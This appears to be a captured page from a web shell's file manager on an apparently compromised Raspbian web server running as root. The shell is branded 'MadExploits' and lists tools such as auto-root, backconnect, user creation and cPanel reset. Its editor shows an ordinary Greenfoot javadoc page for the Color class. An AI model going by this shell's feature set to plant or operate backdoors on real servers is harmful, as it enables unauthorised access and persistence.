Linux lorencats.com 5.10.103-v7l+ #1529 SMP Tue Mar 8 12:24:00 GMT 2022 armv7l
Apache/2.4.59 (Raspbian)
: 10.0.0.29 | : 216.73.216.130
Cant Read [ /etc/named.conf ]
7.3.31-1~deb10u7
root
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
Greenfoot /
API /
greenfoot /
[ HOME SHELL ]
Name
Size
Permission
Action
Actor.html
37.84
KB
-rw-r--r--
Color.html
26.12
KB
-rw-r--r--
Font.html
18.68
KB
-rw-r--r--
Greenfoot.html
27.29
KB
-rw-r--r--
GreenfootImage.html
42.64
KB
-rw-r--r--
GreenfootSound.html
15.6
KB
-rw-r--r--
MouseInfo.html
12.32
KB
-rw-r--r--
UserInfo.html
28.61
KB
-rw-r--r--
World.html
30.97
KB
-rw-r--r--
package-summary.html
6.84
KB
-rw-r--r--
package-tree.html
5.73
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Color.html
<!DOCTYPE HTML> <!-- NewPage --> <html lang="en"> <head> <!-- Generated by javadoc (11.0.2) on Wed Jun 12 11:21:42 BST 2019 --> <title>Color (Greenfoot API)</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <meta name="dc.created" content="2019-06-12"> <link rel="stylesheet" type="text/css" href="../stylesheet.css" title="Style"> <link rel="stylesheet" type="text/css" href="../jquery/jquery-ui.css" title="Style"> <script type="text/javascript" src="../script.js"></script> <script type="text/javascript" src="../jquery/jszip/dist/jszip.min.js"></script> <script type="text/javascript" src="../jquery/jszip-utils/dist/jszip-utils.min.js"></script> <!--[if IE]> <script type="text/javascript" src="../jquery/jszip-utils/dist/jszip-utils-ie.min.js"></script> <![endif]--> <script type="text/javascript" src="../jquery/jquery-3.3.1.js"></script> <script type="text/javascript" src="../jquery/jquery-migrate-3.0.1.js"></script> <script type="text/javascript" src="../jquery/jquery-ui.js"></script> </head> <body> <script type="text/javascript"><!-- try { if (location.href.indexOf('is-external=true') == -1) { parent.document.title="Color (Greenfoot API)"; } } catch(err) { } //--> var data = {"i0":10,"i1":10,"i2":10,"i3":10,"i4":10,"i5":10,"i6":10,"i7":10,"i8":10}; var tabs = {65535:["t0","All Methods"],2:["t2","Instance Methods"],8:["t4","Concrete Methods"]}; var altColor = "altColor"; var rowColor = "rowColor"; var tableTab = "tableTab"; var activeTableTab = "activeTableTab"; var pathtoroot = "../"; var useModuleDirectories = true; loadScripts(document, 'script');</script> <noscript> <div>JavaScript is disabled on your browser.</div> </noscript> <header role="banner"> <nav role="navigation"> <div class="fixedNav"> <!-- ========= START OF TOP NAVBAR ======= --> <div class="topNav"><a id="navbar.top"> <!-- --> </a> <div class="skipNav"><a href="#skip.navbar.top" title="Skip navigation links">Skip navigation links</a></div> <a id="navbar.top.firstrow"> <!-- --> </a> <ul class="navList" title="Navigation"> <li><a href="package-summary.html">Package</a></li> <li class="navBarCell1Rev">Class</li> <li><a href="package-tree.html">Tree</a></li> <li><a href="../deprecated-list.html">Deprecated</a></li> <li><a href="../index-all.html">Index</a></li> <li><a href="../help-doc.html">Help</a></li> </ul> </div> <div class="subNav"> <ul class="navList" id="allclasses_navbar_top"> <li><a href="../allclasses.html">All Classes</a></li> </ul> <ul class="navListSearch"> <li><label for="search">SEARCH:</label> <input type="text" id="search" value="search" disabled="disabled"> <input type="reset" id="reset" value="reset" disabled="disabled"> </li> </ul> <div> <script type="text/javascript"><!-- allClassesLink = document.getElementById("allclasses_navbar_top"); if(window==top) { allClassesLink.style.display = "block"; } else { allClassesLink.style.display = "none"; } //--> </script> <noscript> <div>JavaScript is disabled on your browser.</div> </noscript> </div> <div> <ul class="subNavList"> <li>Summary: </li> <li>Nested | </li> <li><a href="#field.summary">Field</a> | </li> <li><a href="#constructor.summary">Constr</a> | </li> <li><a href="#method.summary">Method</a></li> </ul> <ul class="subNavList"> <li>Detail: </li> <li><a href="#field.detail">Field</a> | </li> <li><a href="#constructor.detail">Constr</a> | </li> <li><a href="#method.detail">Method</a></li> </ul> </div> <a id="skip.navbar.top"> <!-- --> </a></div> <!-- ========= END OF TOP NAVBAR ========= --> </div> <div class="navPadding"> </div> <script type="text/javascript"><!-- $('.navPadding').css('padding-top', $('.fixedNav').css("height")); //--> </script> </nav> </header> <!-- ======== START OF CLASS DATA ======== --> <main role="main"> <div class="header"> <div class="subTitle"><span class="packageLabelInType">Package</span> <a href="package-summary.html">greenfoot</a></div> <h2 title="Class Color" class="title">Class Color</h2> </div> <div class="contentContainer"> <ul class="inheritance"> <li>java.lang.Object</li> <li> <ul class="inheritance"> <li>greenfoot.Color</li> </ul> </li> </ul> <div class="description"> <ul class="blockList"> <li class="blockList"> <hr> <pre>public class <span class="typeNameLabel">Color</span> extends java.lang.Object</pre> <div class="block">A representation of a Color. The Color can be used to draw or fill shapes on the screen.</div> <dl> <dt><span class="simpleTagLabel">Author:</span></dt> <dd>Fabio Heday</dd> </dl> </li> </ul> </div> <div class="summary"> <ul class="blockList"> <li class="blockList"> <!-- =========== FIELD SUMMARY =========== --> <section role="region"> <ul class="blockList"> <li class="blockList"><a id="field.summary"> <!-- --> </a> <h3>Field Summary</h3> <table class="memberSummary"> <caption><span>Fields</span><span class="tabEnd"> </span></caption> <tr> <th class="colFirst" scope="col">Modifier and Type</th> <th class="colSecond" scope="col">Field</th> <th class="colLast" scope="col">Description</th> </tr> <tr class="altColor"> <td class="colFirst"><code>static <a href="Color.html" title="class in greenfoot">Color</a></code></td> <th class="colSecond" scope="row"><code><span class="memberNameLink"><a href="#BLACK">BLACK</a></span></code></th> <td class="colLast"> <div class="block">The color black.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code>static <a href="Color.html" title="class in greenfoot">Color</a></code></td> <th class="colSecond" scope="row"><code><span class="memberNameLink"><a href="#BLUE">BLUE</a></span></code></th> <td class="colLast"> <div class="block">The color blue.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code>static <a href="Color.html" title="class in greenfoot">Color</a></code></td> <th class="colSecond" scope="row"><code><span class="memberNameLink"><a href="#CYAN">CYAN</a></span></code></th> <td class="colLast"> <div class="block">The color cyan.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code>static <a href="Color.html" title="class in greenfoot">Color</a></code></td> <th class="colSecond" scope="row"><code><span class="memberNameLink"><a href="#DARK_GRAY">DARK_GRAY</a></span></code></th> <td class="colLast"> <div class="block">The color dark gray.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code>static <a href="Color.html" title="class in greenfoot">Color</a></code></td> <th class="colSecond" scope="row"><code><span class="memberNameLink"><a href="#GRAY">GRAY</a></span></code></th> <td class="colLast"> <div class="block">The color gray.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code>static <a href="Color.html" title="class in greenfoot">Color</a></code></td> <th class="colSecond" scope="row"><code><span class="memberNameLink"><a href="#GREEN">GREEN</a></span></code></th> <td class="colLast"> <div class="block">The color green.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code>static <a href="Color.html" title="class in greenfoot">Color</a></code></td> <th class="colSecond" scope="row"><code><span class="memberNameLink"><a href="#LIGHT_GRAY">LIGHT_GRAY</a></span></code></th> <td class="colLast"> <div class="block">The color light gray.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code>static <a href="Color.html" title="class in greenfoot">Color</a></code></td> <th class="colSecond" scope="row"><code><span class="memberNameLink"><a href="#MAGENTA">MAGENTA</a></span></code></th> <td class="colLast"> <div class="block">The color magenta.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code>static <a href="Color.html" title="class in greenfoot">Color</a></code></td> <th class="colSecond" scope="row"><code><span class="memberNameLink"><a href="#ORANGE">ORANGE</a></span></code></th> <td class="colLast"> <div class="block">The color orange.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code>static <a href="Color.html" title="class in greenfoot">Color</a></code></td> <th class="colSecond" scope="row"><code><span class="memberNameLink"><a href="#PINK">PINK</a></span></code></th> <td class="colLast"> <div class="block">The color pink.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code>static <a href="Color.html" title="class in greenfoot">Color</a></code></td> <th class="colSecond" scope="row"><code><span class="memberNameLink"><a href="#RED">RED</a></span></code></th> <td class="colLast"> <div class="block">The color red.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code>static <a href="Color.html" title="class in greenfoot">Color</a></code></td> <th class="colSecond" scope="row"><code><span class="memberNameLink"><a href="#WHITE">WHITE</a></span></code></th> <td class="colLast"> <div class="block">The color white.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code>static <a href="Color.html" title="class in greenfoot">Color</a></code></td> <th class="colSecond" scope="row"><code><span class="memberNameLink"><a href="#YELLOW">YELLOW</a></span></code></th> <td class="colLast"> <div class="block">The color yellow.</div> </td> </tr> </table> </li> </ul> </section> <!-- ======== CONSTRUCTOR SUMMARY ======== --> <section role="region"> <ul class="blockList"> <li class="blockList"><a id="constructor.summary"> <!-- --> </a> <h3>Constructor Summary</h3> <table class="memberSummary"> <caption><span>Constructors</span><span class="tabEnd"> </span></caption> <tr> <th class="colFirst" scope="col">Constructor</th> <th class="colLast" scope="col">Description</th> </tr> <tr class="altColor"> <th class="colConstructorName" scope="row"><code><span class="memberNameLink"><a href="#%3Cinit%3E(int,int,int)">Color</a></span>​(int r, int g, int b)</code></th> <td class="colLast"> <div class="block">Creates a RGB color with the specified red, green, blue values in the range (0 - 255).</div> </td> </tr> <tr class="rowColor"> <th class="colConstructorName" scope="row"><code><span class="memberNameLink"><a href="#%3Cinit%3E(int,int,int,int)">Color</a></span>​(int r, int g, int b, int a)</code></th> <td class="colLast"> <div class="block">Creates a RGB color with the specified red, green, blue, and alpha values in the range (0 - 255).</div> </td> </tr> </table> </li> </ul> </section> <!-- ========== METHOD SUMMARY =========== --> <section role="region"> <ul class="blockList"> <li class="blockList"><a id="method.summary"> <!-- --> </a> <h3>Method Summary</h3> <table class="memberSummary"> <caption><span id="t0" class="activeTableTab"><span>All Methods</span><span class="tabEnd"> </span></span><span id="t2" class="tableTab"><span><a href="javascript:show(2);">Instance Methods</a></span><span class="tabEnd"> </span></span><span id="t4" class="tableTab"><span><a href="javascript:show(8);">Concrete Methods</a></span><span class="tabEnd"> </span></span></caption> <tr> <th class="colFirst" scope="col">Modifier and Type</th> <th class="colSecond" scope="col">Method</th> <th class="colLast" scope="col">Description</th> </tr> <tr id="i0" class="altColor"> <td class="colFirst"><code><a href="Color.html" title="class in greenfoot">Color</a></code></td> <th class="colSecond" scope="row"><code><span class="memberNameLink"><a href="#brighter()">brighter</a></span>()</code></th> <td class="colLast"> <div class="block">Creates a new color that is a brighter version of this GreenfootColor.</div> </td> </tr> <tr id="i1" class="rowColor"> <td class="colFirst"><code><a href="Color.html" title="class in greenfoot">Color</a></code></td> <th class="colSecond" scope="row"><code><span class="memberNameLink"><a href="#darker()">darker</a></span>()</code></th> <td class="colLast"> <div class="block">Creates a new GreenfootColor that is a darker version of this GreenfootColor.</div> </td> </tr> <tr id="i2" class="altColor"> <td class="colFirst"><code>boolean</code></td> <th class="colSecond" scope="row"><code><span class="memberNameLink"><a href="#equals(java.lang.Object)">equals</a></span>​(java.lang.Object obj)</code></th> <td class="colLast"> <div class="block">Determines whether another object is equal to this color.</div> </td> </tr> <tr id="i3" class="rowColor"> <td class="colFirst"><code>int</code></td> <th class="colSecond" scope="row"><code><span class="memberNameLink"><a href="#getAlpha()">getAlpha</a></span>()</code></th> <td class="colLast"> <div class="block">Returns the alpha component in the range 0-255.</div> </td> </tr> <tr id="i4" class="altColor"> <td class="colFirst"><code>int</code></td> <th class="colSecond" scope="row"><code><span class="memberNameLink"><a href="#getBlue()">getBlue</a></span>()</code></th> <td class="colLast"> <div class="block">Returns the blue component in the range 0-255 in the default RGB space.</div> </td> </tr> <tr id="i5" class="rowColor"> <td class="colFirst"><code>int</code></td> <th class="colSecond" scope="row"><code><span class="memberNameLink"><a href="#getGreen()">getGreen</a></span>()</code></th> <td class="colLast"> <div class="block">Returns the green component in the range 0-255 in the default RGB space.</div> </td> </tr> <tr id="i6" class="altColor"> <td class="colFirst"><code>int</code></td> <th class="colSecond" scope="row"><code><span class="memberNameLink"><a href="#getRed()">getRed</a></span>()</code></th> <td class="colLast"> <div class="block">Returns the red component in the range 0-255 in the default RGB space.</div> </td> </tr> <tr id="i7" class="rowColor"> <td class="colFirst"><code>int</code></td> <th class="colSecond" scope="row"><code><span class="memberNameLink"><a href="#hashCode()">hashCode</a></span>()</code></th> <td class="colLast"> <div class="block">Computes the hash code for this <code>Color</code>.</div> </td> </tr> <tr id="i8" class="altColor"> <td class="colFirst"><code>java.lang.String</code></td> <th class="colSecond" scope="row"><code><span class="memberNameLink"><a href="#toString()">toString</a></span>()</code></th> <td class="colLast"> <div class="block">Return a text representation of the color.</div> </td> </tr> </table> <ul class="blockList"> <li class="blockList"><a id="methods.inherited.from.class.java.lang.Object"> <!-- --> </a> <h3>Methods inherited from class java.lang.Object</h3> <code>clone, finalize, getClass, notify, notifyAll, wait, wait, wait</code></li> </ul> </li> </ul> </section> </li> </ul> </div> <div class="details"> <ul class="blockList"> <li class="blockList"> <!-- ============ FIELD DETAIL =========== --> <section role="region"> <ul class="blockList"> <li class="blockList"><a id="field.detail"> <!-- --> </a> <h3>Field Detail</h3> <a id="WHITE"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>WHITE</h4> <pre>public static final <a href="Color.html" title="class in greenfoot">Color</a> WHITE</pre> <div class="block">The color white. In the default RGB space.</div> </li> </ul> <a id="LIGHT_GRAY"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>LIGHT_GRAY</h4> <pre>public static final <a href="Color.html" title="class in greenfoot">Color</a> LIGHT_GRAY</pre> <div class="block">The color light gray. In the default RGB space.</div> </li> </ul> <a id="GRAY"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>GRAY</h4> <pre>public static final <a href="Color.html" title="class in greenfoot">Color</a> GRAY</pre> <div class="block">The color gray. In the default RGB space.</div> </li> </ul> <a id="DARK_GRAY"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>DARK_GRAY</h4> <pre>public static final <a href="Color.html" title="class in greenfoot">Color</a> DARK_GRAY</pre> <div class="block">The color dark gray. In the default RGB space.</div> </li> </ul> <a id="BLACK"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>BLACK</h4> <pre>public static final <a href="Color.html" title="class in greenfoot">Color</a> BLACK</pre> <div class="block">The color black. In the default RGB space.</div> </li> </ul> <a id="RED"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>RED</h4> <pre>public static final <a href="Color.html" title="class in greenfoot">Color</a> RED</pre> <div class="block">The color red. In the default RGB space.</div> </li> </ul> <a id="PINK"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>PINK</h4> <pre>public static final <a href="Color.html" title="class in greenfoot">Color</a> PINK</pre> <div class="block">The color pink. In the default RGB space.</div> </li> </ul> <a id="ORANGE"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>ORANGE</h4> <pre>public static final <a href="Color.html" title="class in greenfoot">Color</a> ORANGE</pre> <div class="block">The color orange. In the default RGB space.</div> </li> </ul> <a id="YELLOW"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>YELLOW</h4> <pre>public static final <a href="Color.html" title="class in greenfoot">Color</a> YELLOW</pre> <div class="block">The color yellow. In the default RGB space.</div> </li> </ul> <a id="GREEN"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>GREEN</h4> <pre>public static final <a href="Color.html" title="class in greenfoot">Color</a> GREEN</pre> <div class="block">The color green. In the default RGB space.</div> </li> </ul> <a id="MAGENTA"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>MAGENTA</h4> <pre>public static final <a href="Color.html" title="class in greenfoot">Color</a> MAGENTA</pre> <div class="block">The color magenta. In the default RGB space.</div> </li> </ul> <a id="CYAN"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>CYAN</h4> <pre>public static final <a href="Color.html" title="class in greenfoot">Color</a> CYAN</pre> <div class="block">The color cyan. In the default RGB space.</div> </li> </ul> <a id="BLUE"> <!-- --> </a> <ul class="blockListLast"> <li class="blockList"> <h4>BLUE</h4> <pre>public static final <a href="Color.html" title="class in greenfoot">Color</a> BLUE</pre> <div class="block">The color blue. In the default RGB space.</div> </li> </ul> </li> </ul> </section> <!-- ========= CONSTRUCTOR DETAIL ======== --> <section role="region"> <ul class="blockList"> <li class="blockList"><a id="constructor.detail"> <!-- --> </a> <h3>Constructor Detail</h3> <a id="<init>(int,int,int)"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>Color</h4> <pre>public Color​(int r, int g, int b)</pre> <div class="block">Creates a RGB color with the specified red, green, blue values in the range (0 - 255).</div> <dl> <dt><span class="paramLabel">Parameters:</span></dt> <dd><code>r</code> - the red component</dd> <dd><code>g</code> - the green component</dd> <dd><code>b</code> - the blue component</dd> </dl> </li> </ul> <a id="<init>(int,int,int,int)"> <!-- --> </a> <ul class="blockListLast"> <li class="blockList"> <h4>Color</h4> <pre>public Color​(int r, int g, int b, int a)</pre> <div class="block">Creates a RGB color with the specified red, green, blue, and alpha values in the range (0 - 255).</div> <dl> <dt><span class="paramLabel">Parameters:</span></dt> <dd><code>r</code> - the red component</dd> <dd><code>g</code> - the green component</dd> <dd><code>b</code> - the blue component</dd> <dd><code>a</code> - the alpha component</dd> </dl> </li> </ul> </li> </ul> </section> <!-- ============ METHOD DETAIL ========== --> <section role="region"> <ul class="blockList"> <li class="blockList"><a id="method.detail"> <!-- --> </a> <h3>Method Detail</h3> <a id="brighter()"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>brighter</h4> <pre class="methodSignature">public <a href="Color.html" title="class in greenfoot">Color</a> brighter()</pre> <div class="block">Creates a new color that is a brighter version of this GreenfootColor. <p> This method creates a brighter version of this color. The alpha value is preserved. Although <code>brighter</code> and <code>darker</code> are inverse operations, the results of a series of invocations of these two methods might be inconsistent because of rounding errors.</div> <dl> <dt><span class="returnLabel">Returns:</span></dt> <dd>a new GreenfootColor object that is a brighter version of this GreenfootColor with the same alpha value.</dd> </dl> </li> </ul> <a id="darker()"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>darker</h4> <pre class="methodSignature">public <a href="Color.html" title="class in greenfoot">Color</a> darker()</pre> <div class="block">Creates a new GreenfootColor that is a darker version of this GreenfootColor. <p> This method creates a darker version of this color. The alpha value is preserved. Although <code>brighter</code> and <code>darker</code> are inverse operations, the results of a series of invocations of these two methods might be inconsistent because of rounding errors.</div> <dl> <dt><span class="returnLabel">Returns:</span></dt> <dd>a new GreenfootColor object that is a darker version of this GreenfootColor with the same alpha value.</dd> </dl> </li> </ul> <a id="equals(java.lang.Object)"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>equals</h4> <pre class="methodSignature">public boolean equals​(java.lang.Object obj)</pre> <div class="block">Determines whether another object is equal to this color. <p> The result is true if and only if the argument is not null and is a greenfoot.Color object that has the same red, green, blue, and alpha values as this object.</div> <dl> <dt><span class="overrideSpecifyLabel">Overrides:</span></dt> <dd><code>equals</code> in class <code>java.lang.Object</code></dd> <dt><span class="paramLabel">Parameters:</span></dt> <dd><code>obj</code> - the object to test for equality with this color</dd> <dt><span class="returnLabel">Returns:</span></dt> <dd>true if the colors are the same; false otherwise.</dd> </dl> </li> </ul> <a id="getRed()"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>getRed</h4> <pre class="methodSignature">public int getRed()</pre> <div class="block">Returns the red component in the range 0-255 in the default RGB space.</div> <dl> <dt><span class="returnLabel">Returns:</span></dt> <dd>the red component.</dd> </dl> </li> </ul> <a id="getGreen()"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>getGreen</h4> <pre class="methodSignature">public int getGreen()</pre> <div class="block">Returns the green component in the range 0-255 in the default RGB space.</div> <dl> <dt><span class="returnLabel">Returns:</span></dt> <dd>the green component.</dd> </dl> </li> </ul> <a id="getAlpha()"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>getAlpha</h4> <pre class="methodSignature">public int getAlpha()</pre> <div class="block">Returns the alpha component in the range 0-255.</div> <dl> <dt><span class="returnLabel">Returns:</span></dt> <dd>the alpha component.</dd> </dl> </li> </ul> <a id="getBlue()"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>getBlue</h4> <pre class="methodSignature">public int getBlue()</pre> <div class="block">Returns the blue component in the range 0-255 in the default RGB space.</div> <dl> <dt><span class="returnLabel">Returns:</span></dt> <dd>the blue component.</dd> </dl> </li> </ul> <a id="hashCode()"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>hashCode</h4> <pre class="methodSignature">public int hashCode()</pre> <div class="block">Computes the hash code for this <code>Color</code>.</div> <dl> <dt><span class="overrideSpecifyLabel">Overrides:</span></dt> <dd><code>hashCode</code> in class <code>java.lang.Object</code></dd> <dt><span class="returnLabel">Returns:</span></dt> <dd>a hash code value for this object.</dd> </dl> </li> </ul> <a id="toString()"> <!-- --> </a> <ul class="blockListLast"> <li class="blockList"> <h4>toString</h4> <pre class="methodSignature">public java.lang.String toString()</pre> <div class="block">Return a text representation of the color.</div> <dl> <dt><span class="overrideSpecifyLabel">Overrides:</span></dt> <dd><code>toString</code> in class <code>java.lang.Object</code></dd> </dl> </li> </ul> </li> </ul> </section> </li> </ul> </div> </div> </main> <!-- ========= END OF CLASS DATA ========= --> <footer role="contentinfo"> <nav role="navigation"> <!-- ======= START OF BOTTOM NAVBAR ====== --> <div class="bottomNav"><a id="navbar.bottom"> <!-- --> </a> <div class="skipNav"><a href="#skip.navbar.bottom" title="Skip navigation links">Skip navigation links</a></div> <a id="navbar.bottom.firstrow"> <!-- --> </a> <ul class="navList" title="Navigation"> <li><a href="package-summary.html">Package</a></li> <li class="navBarCell1Rev">Class</li> <li><a href="package-tree.html">Tree</a></li> <li><a href="../deprecated-list.html">Deprecated</a></li> <li><a href="../index-all.html">Index</a></li> <li><a href="../help-doc.html">Help</a></li> </ul> </div> <div class="subNav"> <ul class="navList" id="allclasses_navbar_bottom"> <li><a href="../allclasses.html">All Classes</a></li> </ul> <div> <script type="text/javascript"><!-- allClassesLink = document.getElementById("allclasses_navbar_bottom"); if(window==top) { allClassesLink.style.display = "block"; } else { allClassesLink.style.display = "none"; } //--> </script> <noscript> <div>JavaScript is disabled on your browser.</div> </noscript> </div> <div> <ul class="subNavList"> <li>Summary: </li> <li>Nested | </li> <li><a href="#field.summary">Field</a> | </li> <li><a href="#constructor.summary">Constr</a> | </li> <li><a href="#method.summary">Method</a></li> </ul> <ul class="subNavList"> <li>Detail: </li> <li><a href="#field.detail">Field</a> | </li> <li><a href="#constructor.detail">Constr</a> | </li> <li><a href="#method.detail">Method</a></li> </ul> </div> <a id="skip.navbar.bottom"> <!-- --> </a></div> <!-- ======== END OF BOTTOM NAVBAR ======= --> </nav> <p class="legalCopy"><small><a href=http://www.greenfoot.org/>Greenfoot homepage</a></small></p> </footer> </body> </html>
Close